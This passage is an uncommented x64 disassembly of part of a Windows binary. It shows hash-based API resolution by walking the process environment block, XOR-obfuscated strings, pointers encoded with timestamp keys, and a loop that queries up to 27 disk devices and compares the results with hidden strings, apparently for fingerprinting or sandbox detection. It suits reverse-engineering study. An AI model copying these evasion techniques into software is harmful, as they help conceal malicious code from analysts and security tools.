lea rdx, [rbx + 0x200]
mov rax, rdx
cmp byte [rdx], 0
je 0x14003fed8
nop
inc rax
cmp byte [rax], 0
jne 0x14003fed0
sub rax, rdx
lea r8, [rax + 0x200]
add r8, rbx
lea r9, [rbp - 0x47]
lea rcx, [rbp + 0x1ac0]
call fcn.140055790
nop
mov rdi, qword [rbp + 0x98]
mov rsi, qword [rbp + 0xa0]
cmp rdi, rsi
je 0x14003ff5b
nop dword [rax]
lea rcx, [rbp + 0x1ac0]
call fcn.14002b160
mov rbx, rax
mov rcx, rdi
call fcn.14002b160
movzx ecx, word [rax]
test cx, cx
je 0x14003ff4d
movzx edx, cx
movzx ecx, dx
cmp dx, word [rbx]
jne 0x14003ff4d
add rax, 2
add rbx, 2
movzx ecx, word [rax]
movzx edx, cx
test cx, cx
jne 0x14003ff32
cmp cx, word [rbx]
je 0x14003ff6f
add rdi, 0x20
cmp rdi, rsi
jne 0x14003ff10
lea rdx, [rbp + 0x1ac0]
lea rcx, [rbp + 0x98]
call fcn.14003bc50
nop
lea rcx, [rbp + 0x1ac0]
call fcn.14002fce0
inc r14d
add r12, 0x450
mov rcx, qword [rbp + 0x248]
mov rbx, qword [rbp + 0x240]
sub rcx, rbx
mov rax, r13
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, r14d
cmp rax, rdx
jb 0x14003fea0
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
nop
lea rcx, [rbp + 0x240]
call fcn.140051dc0
mov rbx, qword [rbp + 0x98]
mov rdi, qword [rbp + 0xa0]
cmp rbx, rdi
je 0x1400401fd
movabs r8, 0x397a9e19b9d82f9d
mov qword [rbp + 0x1130], r8
movabs rdx, 0x35fae148278a2caa
mov qword [rbp + 0x1138], rdx
movabs rsi, 0x393e9e50b98e2fd3
movabs r14, 0x35fae14827cb2ce3
movabs r15, 0x391f9e6db9b62fd4
movabs r12, 0x35fae148278a2cc6
movabs r13, 0x397a9e5db9952fdc
movdqa xmm6, xmmword [rbp + 0x1130]
nop
xor eax, eax
mov byte [rbp - 0x46], al
mov byte [rbp - 0x45], al
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x138], r14
mov byte [rbp - 0x44], al
movdqa xmm0, xmm6
pxor xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rbp + 0x130], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x130]
mov rcx, rbx
call fcn.14004fc20
cmp rax, 0xffffffffffffffff
jne 0x14004033d
xor eax, eax
mov byte [rbp - 0x43], al
mov byte [rbp - 0x42], al
movabs rax, 0x397a9e19b9d82f9d
mov qword [rbp + 0x1140], rax
movabs rax, 0x35fae148278a2caa
mov qword [rbp + 0x1148], rax
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], r12
xor eax, eax
mov byte [rbp - 0x41], al
movdqa xmm0, xmmword [rbp + 0x1140]
pxor xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x1a0], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x1a0]
mov rcx, rbx
call fcn.14004fc20
cmp rax, 0xffffffffffffffff
jne 0x14004033d
xor eax, eax
mov byte [rbp - 0x40], al
mov byte [rbp - 0x3f], al
movabs rax, 0x35fae148278a2caa
movabs rcx, 0x397a9e19b9d82f9d
mov qword [rbp + 0x1150], rcx
mov qword [rbp + 0x1158], rax
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x128], rax
xor eax, eax
mov byte [rbp - 0x3e], al
movdqa xmm0, xmmword [rbp + 0x1150]
pxor xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x120], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x120]
mov rcx, rbx
call fcn.14004fc20
cmp rax, 0xffffffffffffffff
jne 0x14004033d
xor eax, eax
mov byte [rbp - 0x3d], al
mov byte [rbp - 0x3c], al
movabs rax, 0x391f9e7db9b92fcf
movabs rcx, 0x35fae14827e42cc5
movabs rdx, 0x397a9e19b9d82f9d
mov qword [rbp + 0x13c0], rdx
movabs rdx, 0x35fae148278a2caa
mov qword [rbp + 0x13c8], rdx
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rcx
xor eax, eax
mov byte [rbp - 0x3b], al
movdqa xmm0, xmmword [rbp + 0x13c0]
pxor xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x110], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x110]
mov rcx, rbx
call fcn.14004fc20
cmp rax, 0xffffffffffffffff
jne 0x14004033d
add rbx, 0x20
cmp rbx, rdi
jne 0x140040040
lea rcx, [rbp + 0x98]
call fcn.14002fc70
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1698], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400402a0
mov r9, qword [rbp + 0x16a0]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140040297
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140040270
cmp r10d, esi
jne 0x140047167
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14004716f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r14d, edx
add r14, rdi
cmp r14, rdi
je 0x140047167
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140047167
mov r12d, dword [r14 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140040327
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140040300
cmp r10d, r8d
je 0x1400470ba
test r11d, r11d
jne 0x1400402e0
mov rax, qword [rax]
jmp 0x140040230
lea rcx, [rbp + 0x98]
call fcn.14002fc70
xor eax, eax
mov byte [rbp - 0x3a], al
mov byte [rbp - 2], al
movabs rax, 0x4a03f649e5f673c1
movabs rcx, 0x4393930c4beb4fc3
movabs rdx, 0x2c48a75b0219ff1a
movabs rbx, 0x397a9e19b9d82f9d
movabs r8, 0x49f01a2af1b445cc
mov qword [rbp + 0x13f0], rbx
movabs rbx, 0x35fae148278a2caa
mov qword [rbp + 0x13f8], rbx
movabs rbx, 0x2c48a75b027dda7f
mov qword [rbp + 0x1400], rbx
mov qword [rbp + 0x1408], r8
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], rcx
mov qword [rbp + 0x170], rdx
mov qword [rbp + 0x178], r8
xor eax, eax
mov byte [rbp - 0x39], al
movdqa xmm0, xmmword [rbp + 0x160]
pxor xmm0, xmmword [rbp + 0x13f0]
movdqa xmmword [rbp + 0x160], xmm0
movdqa xmm1, xmmword [rbp + 0x1400]
pxor xmm1, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm1
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x39c0]
call fcn.14007c620
xor eax, eax
mov dword [rsp + 0x60], eax
lea r15, [0x14003bf40]
mov rcx, 0xffffffffffffffff
lea rbx, [rbp + 0x160]
mov rdx, rcx
inc rdx
cmp byte [rbx + rdx], 0
jne 0x140040436
inc rdx
mov r9d, eax
lea r8, [rbp + 0x160]
lea rcx, [rbp + 0x39c0]
call fcn.1400313e0
mov rax, qword [0x1401c04c0]
test rax, rax
jne 0x14004068d
xor esi, esi
mov edi, 0xf75db66e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1160], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400404f0
mov r8, qword [rbp + 0x1168]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400404e7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400404c0
cmp r9d, esi
jne 0x140040635
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004063d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140040635
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140040635
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140040578
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140040551
cmp r9d, edi
je 0x14004058a
test r10d, r10d
jne 0x140040530
mov rax, qword [rax]
jmp 0x140040480
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004063f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004063f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400405f4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400405d0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140040624
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140040600
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040480
xor ebx, ebx
mov qword [0x1401c04c0], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rax, [rax + rax*4]
mov r10, rax
mov qword [0x1401c04c8], rax
mov ecx, eax
cmp rax, rbx
je 0x140040650
xor rax, rbx
mov qword [0x1401c04c0], rax
xor ecx, 0xf75db66e
mov dword [0x1401c04b8], ecx
lea r15, [0x14003bf40]
jmp 0x140040694
mov r10, qword [0x1401c04c8]
xor r10, rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 3]
lea rcx, [rbp + 0x39c0]
call r10
mov r14, rax
mov qword [rsp + 0x78], rax
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], rax
cmp rax, 0xffffffffffffffff
je 0x140040eb9
mov qword [rbp + 0x3c], 0
xor eax, eax
mov qword [rbp + 0x18], rax
mov dword [rbp + 0x38], eax
mov rbx, qword [0x1401c0540]
test rbx, rbx
jne 0x140040928
xor esi, esi
mov edi, 0x9661cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1170], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040790
mov r8, qword [rbp + 0x1178]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140040787
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140040760
cmp r9d, esi
jne 0x1400408d5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400408dd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400408d5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400408d5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140040818
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400407f1
cmp r9d, edi
je 0x14004082a
test r10d, r10d
jne 0x1400407d0
mov rax, qword [rax]
jmp 0x140040720
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x1400408df
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400408df
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140040894
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140040870
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400408c4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400408a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040720
xor ebx, ebx
mov qword [0x1401c0540], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea r10, [rax + rax*4]
mov qword [0x1401c0548], r10
cmp r10, rbx
je 0x1400408f0
xor rbx, r10
mov qword [0x1401c0540], rbx
mov eax, r10d
xor eax, 0x9661cbb4
mov dword [0x1401c0538], eax
mov r14, qword [rsp + 0x78]
jmp 0x14004092f
mov r10, qword [0x1401c0548]
xor r10, rbx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
lea rax, [rbp + 0x18]
mov qword [rsp + 0x20], rax
mov r9d, 0xc
lea r8, [rbp + 0x38]
mov edx, 0x2d1400
mov rcx, r14
call r10
test eax, eax
je 0x140040eb9
lea rcx, [rbp + 0xa70]
call fcn.14001c9f0
nop
mov edx, dword [rbp + 0x1c]
lea r8, [rbp - 0x38]
lea rcx, [rbp + 0xa70]
call fcn.14001ca10
mov rbx, qword [0x1401c0540]
test rbx, rbx
jne 0x140040bc3
xor esi, esi
mov edi, 0x9661cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1180], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040a30
mov r8, qword [rbp + 0x1188]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140040a27
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140040a00
cmp r9d, esi
jne 0x140040b75
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140040b7d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140040b75
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140040b75
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140040ab8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140040a91
cmp r9d, edi
je 0x140040aca
test r10d, r10d
jne 0x140040a70
mov rax, qword [rax]
jmp 0x1400409c0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140040b7f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140040b7f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140040b34
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140040b10
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140040b64
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140040b40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400409c0
xor ebx, ebx
mov qword [0x1401c0540], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea r10, [rax + rax*4]
mov qword [0x1401c0548], r10
cmp r10, rbx
je 0x140040b90
xor rbx, r10
mov qword [0x1401c0540], rbx
mov eax, r10d
xor eax, 0x9661cbb4
mov dword [0x1401c0538], eax
jmp 0x140040bca
mov r10, qword [0x1401c0548]
xor r10, rbx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rbp + 0x1c]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0xa70]
mov qword [rsp + 0x20], rax
mov r9d, 0xc
lea r8, [rbp + 0x38]
mov edx, 0x2d1400
mov rcx, qword [rbp + 0x70]
call r10
test eax, eax
je 0x140040eac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1860], xmm0
mov qword [rbp + 0x1870], rax
mov rbx, qword [0x1401c0540]
test rbx, rbx
jne 0x140040e53
xor esi, esi
mov edi, 0x9661cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1190], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040cc0
mov r8, qword [rbp + 0x1198]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140040cb7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140040c90
cmp r9d, esi
jne 0x140040e05
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140040e0d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140040e05
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140040e05
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140040d48
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140040d21
cmp r9d, edi
je 0x140040d5a
test r10d, r10d
jne 0x140040d00
mov rax, qword [rax]
jmp 0x140040c50
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140040e0f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140040e0f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140040dc4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140040da0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140040df4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140040dd0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040c50
xor ebx, ebx
mov qword [0x1401c0540], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea r10, [rax + rax*4]
mov qword [0x1401c0548], r10
cmp r10, rbx
je 0x140040e20
xor rbx, r10
mov qword [0x1401c0540], rbx
mov eax, r10d
xor eax, 0x9661cbb4
mov dword [0x1401c0538], eax
jmp 0x140040e5a
mov r10, qword [0x1401c0548]
xor r10, rbx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x18
lea rax, [rbp + 0x1860]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, qword [rbp + 0x70]
call r10
mov rax, qword [rbp + 0xa70]
cmp dword [rax + 0x18], 0
je 0x140040eac
cmp dword [rax + 0x10], 0
jne 0x140040ffd
lea rcx, [rbp + 0xa70]
call fcn.140001e50
nop
lea rcx, [rbp + 0x68]
call fcn.14004eaa0
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
cmp eax, 0x1b
jl 0x14004041e
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1688], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040f60
mov r9, qword [rbp + 0x1690]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140040f57
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140040f30
cmp r10d, esi
jne 0x140046dc7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x140046dcf
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140046dc7
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140046dc7
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140040fe7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140040fc0
cmp r10d, r8d
je 0x140046d1a
test r11d, r11d
jne 0x140040fa0
mov rax, qword [rax]
jmp 0x140040ef0
lea rcx, [rbp + 0xa70]
call fcn.140001e50
nop
lea rcx, [rbp + 0x68]
call fcn.14004eaa0
xor eax, eax
mov byte [rbp - 0x37], al
mov byte [rbp - 0x36], al
movabs rbx, 0x39129e73b9ab2ff0
movabs rax, 0x3599e13c27fe2c84
movabs rsi, 0x397a9e19b9d82f9d
movabs r15, 0x2c48a75b027dda7f
movabs r14, 0x49f01a2af1b445cc
mov qword [rbp + 0x1410], rsi
movabs rdi, 0x35fae148278a2caa
mov qword [rbp + 0x1418], rdi
mov qword [rbp + 0x1420], r15
mov qword [rbp + 0x1428], r14
mov qword [rbp + 0x380], rbx
mov qword [rbp + 0x388], rax
mov qword [rbp + 0x390], r15
mov qword [rbp + 0x398], r14
xor eax, eax
mov byte [rbp - 0x35], al
movdqa xmm0, xmmword [rbp + 0x1410]
pxor xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm1, xmmword [rbp + 0x1420]
pxor xmm1, xmmword [rbp + 0x390]
movdqa xmmword [rbp + 0x390], xmm1
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x3680]
call fcn.14004fda0
mov rdx, rax
lea rcx, [rbp + 0x3b38]
call fcn.14003ae10
test al, al
je 0x140046302
xor eax, eax
mov byte [rbp - 0x34], al
mov byte [rbp - 0x33], al
movabs rax, 0x358ee16627ee2cc8
movabs rcx, 0x2c48a75b021eda0b
mov qword [rbp + 0x1430], rsi
mov qword [rbp + 0x1438], rdi
mov qword [rbp + 0x1440], r15
mov qword [rbp + 0x1448], r14
mov qword [rbp + 0x260], rbx
mov qword [rbp + 0x268], rax
mov qword [rbp + 0x270], rcx
mov qword [rbp + 0x278], r14
xor eax, eax
mov byte [rbp - 0x32], al
movdqa xmm0, xmmword [rbp + 0x260]
pxor xmm0, xmmword [rbp + 0x1430]
movdqa xmmword [rbp + 0x260], xmm0
movdqa xmm1, xmmword [rbp + 0x1440]
pxor xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x270], xmm1
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x36a0]
call fcn.14004fda0
mov rdx, rax
lea rcx, [rbp + 0x3b38]
call fcn.14003ae10
test al, al
je 0x140046302
xor eax, eax
mov byte [rbp - 0x31], al
mov byte [rbp - 0x30], al
movabs rbx, 0x39189e74b9b92ffe
movabs rax, 0x35d4e12927e32cd8
movabs rcx, 0x2c48a7380209da0b
mov qword [rbp + 0x1450], rsi
mov qword [rbp + 0x1458], rdi
mov qword [rbp + 0x1460], r15
mov qword [rbp + 0x1468], r14
mov qword [rbp + 0x280], rbx
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x290], rcx
mov qword [rbp + 0x298], r14
xor eax, eax
mov byte [rbp - 0x2f], al
movdqa xmm0, xmmword [rbp + 0x280]
pxor xmm0, xmmword [rbp + 0x1450]
movdqa xmmword [rbp + 0x280], xmm0
movdqa xmm1, xmmword [rbp + 0x1460]
pxor xmm1, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x290], xmm1
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x3580]
call fcn.14004fda0
mov rdx, rax
lea rcx, [rbp + 0x3b38]
call fcn.14003ae10
test al, al
je 0x140046302
xor eax, eax
mov byte [rbp - 0x2e], al
mov byte [rbp - 0x2d], al
movabs rax, 0x3598e12927e32cd8
movabs rcx, 0x2c2ea72f0209da51
mov qword [rbp + 0x1470], rsi
mov qword [rbp + 0x1478], rdi
mov qword [rbp + 0x1480], r15
mov qword [rbp + 0x1488], r14
mov qword [rbp + 0x2a0], rbx
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x2b0], rcx
mov qword [rbp + 0x2b8], r14
xor eax, eax
mov byte [rbp - 0x2c], al
movdqa xmm0, xmmword [rbp + 0x1470]
pxor xmm0, xmmword [rbp + 0x2a0]
